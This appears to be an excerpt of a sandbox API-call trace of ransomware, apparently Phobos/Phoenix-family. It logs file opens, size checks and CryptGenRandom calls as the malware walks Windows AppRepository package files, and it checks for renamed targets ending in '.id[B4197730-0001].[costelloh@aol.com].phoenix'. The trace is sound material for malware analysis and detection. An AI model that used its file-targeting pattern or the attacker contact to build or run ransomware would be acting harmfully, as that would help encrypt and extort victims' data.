	[0262.667] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.667] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.667] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.667] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.667] CloseHandle (hObject=0x2e0) returned 1
	[0262.668] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.668] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.669] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2444) returned 1
	[0262.669] CloseHandle (hObject=0x2e0) returned 1
	[0262.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.669] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.669] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.669] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.670] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.670] CloseHandle (hObject=0x2e0) returned 1
	[0262.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.671] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.671] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.671] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.671] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.671] CloseHandle (hObject=0x2e0) returned 1
	[0262.671] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.671] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.672] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1932) returned 1
	[0262.672] CloseHandle (hObject=0x2e0) returned 1
	[0262.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.672] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.672] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.672] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.673] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.673] CloseHandle (hObject=0x2e0) returned 1
	[0262.673] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.673] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.673] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.673] CloseHandle (hObject=0x2e0) returned 1
	[0262.674] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.674] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2396) returned 1
	[0262.674] CloseHandle (hObject=0x2e0) returned 1
	[0262.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ShellExperienceHost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.shellexperiencehost_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.674] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.873] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0262.873] CloseHandle (hObject=0x2e0) returned 1
	[0262.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.873] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.873] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.880] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=968) returned 1
	[0262.913] CloseHandle (hObject=0x2e0) returned 1
	[0262.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.913] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.915] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.915] CloseHandle (hObject=0x2e0) returned 1
	[0262.915] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.915] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.915] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.916] CloseHandle (hObject=0x2e0) returned 1
	[0262.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.916] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5960) returned 1
	[0262.916] CloseHandle (hObject=0x2e0) returned 1
	[0262.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.917] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.918] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=65536) returned 1
	[0262.918] CloseHandle (hObject=0x2e0) returned 1
	[0262.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.918] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.918] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.918] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.919] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.919] CloseHandle (hObject=0x2e0) returned 1
	[0262.919] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
